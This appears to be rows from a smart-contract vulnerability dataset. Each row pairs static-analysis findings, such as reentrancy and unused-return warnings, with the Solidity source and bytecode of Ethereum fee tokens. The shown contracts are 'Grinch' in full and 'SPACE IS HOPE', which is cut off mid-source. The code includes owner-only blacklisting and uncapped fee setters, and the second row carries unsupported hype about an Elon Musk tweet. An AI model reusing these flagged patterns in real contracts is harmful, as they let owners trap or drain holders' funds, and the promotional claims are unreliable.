{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,846 |
0xdd3da5d88aa04eb134155abfaa10cd3eb3d129cb
|
// Telegram: https://t.me/GrinchEth
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Grinch is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Grinch";
string private constant _symbol = "GNCH";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _paybackFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _paybackFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _paybackFee = _paybackFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousPaybackFee = _paybackFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xC60101596621281e2d3a783c5e675e895406b165);
address payable private _devAddress = payable(0x2EF5857c2046FF1aB57BD534C66A4Bba7eCb062A);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000 * 10**9; //2% of total supply per txn
uint256 public _maxWalletSize = 5000000 * 10**9; //5% of total supply
uint256 public _swapTokensAtAmount = 100000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_paybackFee == 0 && _taxFee == 0) return;
_previousPaybackFee = _paybackFee;
_previousTaxFee = _taxFee;
_paybackFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_paybackFee = _previousPaybackFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_paybackFee = _paybackFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_paybackFee = _paybackFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(3).mul(2));
_devAddress.transfer(amount.div(3));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _paybackFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 paybackFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(paybackFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 paybackFeeOnBuy, uint256 paybackFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_paybackFeeOnBuy = paybackFeeOnBuy;
_paybackFeeOnSell = paybackFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104ae578063c3c8cd80146104de578063dd62ed3e146104f3578063ea1644d51461053957600080fd5b806398a5c3151461044e578063a2a957bb1461046e578063a9059cbb1461048e57600080fd5b80638da5cb5b116100c65780638da5cb5b146103cd5780638f70ccf7146103eb5780638f9a55c01461040b57806395d89b411461042157600080fd5b8063715018a61461038257806374010ece146103975780637d1db4a5146103b757600080fd5b80632fd689e3116101595780636b999053116101335780636b9990531461030d5780636d8aa8f81461032d5780636fc3eaec1461034d57806370a082311461036257600080fd5b80632fd689e3146102bb578063313ce567146102d157806349bd5a5e146102ed57600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b31461020e5780631694505e1461023e57806318160ddd1461027657806323b872dd1461029b57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c636600461175f565b610559565b005b3480156101d957600080fd5b5060408051808201909152600681526508ee4d2dcc6d60d31b60208201525b604051610205919061188f565b60405180910390f35b34801561021a57600080fd5b5061022e610229366004611734565b610606565b6040519015158152602001610205565b34801561024a57600080fd5b5060145461025e906001600160a01b031681565b6040516001600160a01b039091168152602001610205565b34801561028257600080fd5b5067016345785d8a00005b604051908152602001610205565b3480156102a757600080fd5b5061022e6102b63660046116f4565b61061d565b3480156102c757600080fd5b5061028d60185481565b3480156102dd57600080fd5b5060405160098152602001610205565b3480156102f957600080fd5b5060155461025e906001600160a01b031681565b34801561031957600080fd5b506101cb610328366004611684565b610686565b34801561033957600080fd5b506101cb610348366004611826565b6106d1565b34801561035957600080fd5b506101cb610719565b34801561036e57600080fd5b5061028d61037d366004611684565b610746565b34801561038e57600080fd5b506101cb610768565b3480156103a357600080fd5b506101cb6103b2366004611846565b6107dc565b3480156103c357600080fd5b5061028d60165481565b3480156103d957600080fd5b506000546001600160a01b031661025e565b3480156103f757600080fd5b506101cb610406366004611826565b61080b565b34801561041757600080fd5b5061028d60175481565b34801561042d57600080fd5b5060408051808201909152600481526308e9c86960e31b60208201526101f8565b34801561045a57600080fd5b506101cb610469366004611846565b610853565b34801561047a57600080fd5b506101cb61048936600461185e565b610882565b34801561049a57600080fd5b5061022e6104a9366004611734565b6108c0565b3480156104ba57600080fd5b5061022e6104c9366004611684565b60106020526000908152604090205460ff1681565b3480156104ea57600080fd5b506101cb6108cd565b3480156104ff57600080fd5b5061028d61050e3660046116bc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054557600080fd5b506101cb610554366004611846565b610903565b6000546001600160a01b0316331461058c5760405162461bcd60e51b8152600401610583906118e2565b60405180910390fd5b60005b8151811015610602576001601060008484815181106105be57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105fa816119f5565b91505061058f565b5050565b6000610613338484610932565b5060015b92915050565b600061062a848484610a56565b61067c843361067785604051806060016040528060288152602001611a52602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ecb565b610932565b5060019392505050565b6000546001600160a01b031633146106b05760405162461bcd60e51b8152600401610583906118e2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106fb5760405162461bcd60e51b8152600401610583906118e2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073957600080fd5b4761074381610f05565b50565b6001600160a01b03811660009081526002602052604081205461061790610f95565b6000546001600160a01b031633146107925760405162461bcd60e51b8152600401610583906118e2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108065760405162461bcd60e51b8152600401610583906118e2565b601655565b6000546001600160a01b031633146108355760405162461bcd60e51b8152600401610583906118e2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b8152600401610583906118e2565b601855565b6000546001600160a01b031633146108ac5760405162461bcd60e51b8152600401610583906118e2565b600893909355600a91909155600955600b55565b6000610613338484610a56565b6012546001600160a01b0316336001600160a01b0316146108ed57600080fd5b60006108f830610746565b905061074381611019565b6000546001600160a01b0316331461092d5760405162461bcd60e51b8152600401610583906118e2565b601755565b6001600160a01b0383166109945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610583565b6001600160a01b0382166109f55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610583565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610583565b6001600160a01b038216610b1c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610583565b60008111610b7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610583565b6000546001600160a01b03848116911614801590610baa57506000546001600160a01b03838116911614155b15610dbe57601554600160a01b900460ff16610c1257601654811115610c125760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610583565b6001600160a01b03831660009081526010602052604090205460ff16158015610c5457506001600160a01b03821660009081526010602052604090205460ff16155b610cac5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610583565b6015546001600160a01b03838116911614610d315760175481610cce84610746565b610cd89190611987565b10610d315760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610583565b6000610d3c30610746565b601854601654919250821015908210610d555760165491505b808015610d6c5750601554600160a81b900460ff16155b8015610d8657506015546001600160a01b03868116911614155b8015610d9b5750601554600160b01b900460ff165b15610dbb57610da982611019565b478015610db957610db947610f05565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610e0057506001600160a01b03831660009081526005602052604090205460ff165b80610e3257506015546001600160a01b03858116911614801590610e3257506015546001600160a01b03848116911614155b15610e3f57506000610eb9565b6015546001600160a01b038581169116148015610e6a57506014546001600160a01b03848116911614155b15610e7c57600854600c55600954600d555b6015546001600160a01b038481169116148015610ea757506014546001600160a01b03858116911614155b15610eb957600a54600c55600b54600d555b610ec5848484846111be565b50505050565b60008184841115610eef5760405162461bcd60e51b8152600401610583919061188f565b506000610efc84866119de565b95945050505050565b6012546001600160a01b03166108fc610f2a6002610f248560036111ec565b9061122e565b6040518115909202916000818181858888f19350505050158015610f52573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f6d8360036111ec565b6040518115909202916000818181858888f19350505050158015610602573d6000803e3d6000fd5b6000600654821115610ffc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610583565b60006110066112ad565b905061101283826111ec565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb91906116a0565b8160018151811061111c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546111429130911684610932565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117b908590600090869030904290600401611917565b600060405180830381600087803b15801561119557600080fd5b505af11580156111a9573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111cb576111cb6112d0565b6111d68484846112fe565b80610ec557610ec5600e54600c55600f54600d55565b600061101283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f5565b60008261123d57506000610617565b600061124983856119bf565b905082611256858361199f565b146110125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610583565b60008060006112ba611423565b90925090506112c982826111ec565b9250505090565b600c541580156112e05750600d54155b156112e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061131087611463565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061134290876114c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113719086611502565b6001600160a01b03891660009081526002602052604090205561139381611561565b61139d84836115ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113e291815260200190565b60405180910390a3505050505050505050565b600081836114165760405162461bcd60e51b8152600401610583919061188f565b506000610efc848661199f565b600654600090819067016345785d8a000061143e82826111ec565b82101561145a5750506006549267016345785d8a000092509050565b90939092509050565b60008060008060008060008060006114808a600c54600d546115cf565b92509250925060006114906112ad565b905060008060006114a38e878787611624565b919e509c509a509598509396509194505050505091939550919395565b600061101283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b60008061150f8385611987565b9050838110156110125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610583565b600061156b6112ad565b90506000611579838361122e565b306000908152600260205260409020549091506115969082611502565b30600090815260026020526040902055505050565b6006546115b890836114c0565b6006556007546115c89082611502565b6007555050565b60008080806115e960646115e3898961122e565b906111ec565b905060006115fc60646115e38a8961122e565b905060006116148261160e8b866114c0565b906114c0565b9992985090965090945050505050565b6000808080611633888661122e565b90506000611641888761122e565b9050600061164f888861122e565b905060006116618261160e86866114c0565b939b939a50919850919650505050505050565b803561167f81611a3c565b919050565b600060208284031215611695578081fd5b813561101281611a3c565b6000602082840312156116b1578081fd5b815161101281611a3c565b600080604083850312156116ce578081fd5b82356116d981611a3c565b915060208301356116e981611a3c565b809150509250929050565b600080600060608486031215611708578081fd5b833561171381611a3c565b9250602084013561172381611a3c565b929592945050506040919091013590565b60008060408385031215611746578182fd5b823561175181611a3c565b946020939093013593505050565b60006020808385031215611771578182fd5b823567ffffffffffffffff80821115611788578384fd5b818501915085601f83011261179b578384fd5b8135818111156117ad576117ad611a26565b8060051b604051601f19603f830116810181811085821117156117d2576117d2611a26565b604052828152858101935084860182860187018a10156117f0578788fd5b8795505b838610156118195761180581611674565b8552600195909501949386019386016117f4565b5098975050505050505050565b600060208284031215611837578081fd5b81358015158114611012578182fd5b600060208284031215611857578081fd5b5035919050565b60008060008060808587031215611873578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b818110156118bb5785810183015185820160400152820161189f565b818111156118cc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119665784516001600160a01b031683529383019391830191600101611941565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561199a5761199a611a10565b500190565b6000826119ba57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119d9576119d9611a10565b500290565b6000828210156119f0576119f0611a10565b500390565b6000600019821415611a0957611a09611a10565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461074357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fe60e222acccc2a514e3e78e8322ba5adb9a2b5a5b292fb5c2347e4faf56cdd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,847 |
0x4924510417074c765c5ca80d264960544ffefe0f
|
/**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/*
$SPACE IS HOPE !
Official Deployer for Elon Musk Tweets!
Telegram: https://t.me/officialelontweets
Elon Musk Tweeted us!!!
Twitter: https://twitter.com/elonmusk/status/1414782972474048516
Trade Responsibly!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SPACEISHOPE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SPACE IS HOPE";
string private constant _symbol = "SPACEISHOPE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
